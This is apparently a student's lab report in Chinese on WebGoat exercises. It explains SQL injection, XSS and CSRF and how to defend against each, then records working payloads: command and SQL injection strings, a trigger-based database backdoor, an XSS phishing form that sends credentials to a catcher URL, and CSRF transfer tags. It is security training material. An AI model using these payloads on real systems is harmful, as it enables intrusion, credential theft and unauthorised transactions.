20154332 仁青 Exp9_Web安全基础

一、基础问题回答

SQL注入攻击原理,如何防御?
  • 原理:
  • SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,使非法数据侵入系统。

  • 防御:
  • 普通用户与系统管理员用户的权限要有严格的区分。

  • 强迫使用参数化语句

  • 不要把机密信息直接存放,使用SQL Server数据库自带的安全参数

  • 不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。

  • jsp中调用该函数检查是否包含非法字符,防止SQL从URL注入,使用正则表达式过滤传入的参数,对一些包含sql注入的关键字进行过滤。

XSS攻击的原理,如何防御?
原理:
  • XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码(如,HTML代码和客户端脚本)植入到提供给其它用户使用的页面中,攻击者可以利用XSS漏洞旁路掉访问控制。
防御:
  • 在表单提交或者url参数传递前,对需要的参数进行过滤。

  • 过滤用户输入的检查用户输入的内容中是否有非法内容。如<>(尖括号)、”(引号)、 ‘(单引号)、%(百分比符号)、;(分号)、()(括号)、&(& 符号)、+(加号)等。严格控制输出
    2、过滤用户输入的检查用户输入的内容中是否有非法内容。如<>(尖括号)、”(引号)、 ‘(单引号)、%(百分比符号)、;(分号)、()(括号)、&(& 符号)、+(加号)等。严格控制输出。

CSRF攻击原理,如何防御?
原理:
  • CSRF跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击。
防御:
  • 验证 HTTP Referer 字段

  • 在请求地址中添加 token 并验证

  • 在 HTTP 头中自定义属性并验证

二、实践过程记录

1、安装webgoat
  • 打开的时候发现没有安装

  • 下载webgoat,放置home中。

  • 再次用上一次的指令打开webgoat。

  • 最小化终端,打开浏览器,输入localhost:8080/WebGoat,并选择默认账号、密码登录。

2、SQL练习
(1)命令注入(Command Injection)
  • 目标:出现系统网络连接情况

  • 打开Command Injection

  • 在BackDoors.help旁边加上"& netstat -an & ipconfig"

  • 可以看到命令被执行,出现系统网络连接情况:

(2)数字型SQL注入(Numeric SQL Injection)
  • 概念:

  • 目标:允许使用者看到天气数据,利用SQL注入使得可以看见所有数据。

  • 1.找到Numeric SQL Injection

  • 在Numeric SQL Injection页面上右键,点击inspect Element

  • 在inspector下添加代码or 1=1构成永真式

  • 点击GO,发现成功了

(3) 日志欺骗(Log Spoofing)
  • 目标:像用户名“admin”成功登录。

  • 找到Log Spoofing

  • 在User Name文本框中输入rq%0d%0aLogin Succeeded for username: admin,其中%0d是回车,%0a是换行符:

  • 成功!

(4)XPATH Injection
  • 目标:下面的表格允许员工查看他们所有的个人数据,包括他们的薪水。

  • 尝试构造永真式!

  • 成功

(5)String SQL Injection
  • 目标:下面的表单允许用户查看他们的信用卡号码。尝试注入导致所有信用卡号显示的SQL字符串。试试“史米斯”的用户名。

  • 字符注入,构造一个永真式,还是用的之前的'or 1='1

  • 成功!

(6)LAB: SQL Injection
  • Stage 1:String SQL Injection

  • 小目标:用员工Larry身份登录。

  • 以用户Neville登录,在密码栏中输入rq' or '1'='1 --永真式进行SQL注入,将密码长度改为40。

  • 登录

Stage 3:Numeric SQL Injection

  • 终极目标:用员工Larry的身份查看老板的信息。

  • 先看Larry的信息

  • 把其中的value值改为101 or 1=1 order by salary desc --,

  • 点击ViewProfile进去,即可查看老板的详细信息

(7)Database Backdoors
  • 打开

  • 输入注入语句:101; update employee set

salary=10000,成功把该用户的工资涨到了10000。

  • 接下来使用语句
101;CREATE TRIGGER rqBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20154332@qq.com' WHERE userid = NEW.userid
  • 创建一个后门,把表中所有的邮箱和用户ID都设为我的。

XSS攻击
(8) Phishing with XSS 跨站脚本钓鱼攻击

  • 目标是:将HTML插入到请求凭据中

先编写一个包含用户名、密码的前端代码:

<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
 
</div></div>
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>
  • 将这段代码输入到输入框中,点击search出现如下登录框:

  • 在登录框中输入用户名、密码:

  • 点击登录后跳出弹框,其中包含用户输入的用户名、密码。攻击成功!

(9)Stored XSS Attacks 存储型XSS攻击
  • 存储型XSS的攻击基本流程:

  • 目标:可能是重定向网站到一个钓鱼网站

  • 重新更改页面内容,假装让客户输入用户名,密码,然后提交到黑客的服务器

  • 在Message框中输入

  • 成功!

(10)Reflected XSS Attacks 反射型XSS攻击
  • 打开xss的第三个攻击,在code框中输入

  • 点击Purchase出现对话框,显示I am 20154332renqing。攻击成功!
    !

CSRF攻击
(11)CSRF攻击
  • Cross Site Request Forgery(CSRF)
  • 查看页面右边Parameters中的src和menu值
  • 在title框中输入学号,message框中输入代码:img src='attack?Screen=src值&menu=menu值&transferFunds=转账数额' width='1' height='1'
  • 提交后生成一个链接20154332,点击学号名即可查看用户操作的信息,攻击成功!
(12)CSRF Prompt By-Pass

查看页面右边Parameters中的src和menu值,并在title框中输入学号,message框中输入代码:

< iframe src="attack?Screen=src值&menu=menu值&transferFunds=转账数额"> < /iframe >
< iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> < /iframe >

  • 提交后生成一个链接20154332,点击学号名即可查看用户操作的信息,攻击成功

三、实验总结与体会

这次实验是课程的最后一次实验,在实验过程中学到的知识和能力真的受益匪浅。
这次的实验题目中会结合一些实际的例子,进行攻击。这次做的实验数量比较多,但做完感觉原理都是一样的。学习到了很多攻击类型,更加深入的了解很多。
每破解一题后就会有一个绿色的小对勾,像闯过一个关卡一样,有些小激动。

posted on 2018-05-25 09:04  4332renqing  阅读(93)  评论(0编辑  收藏

导航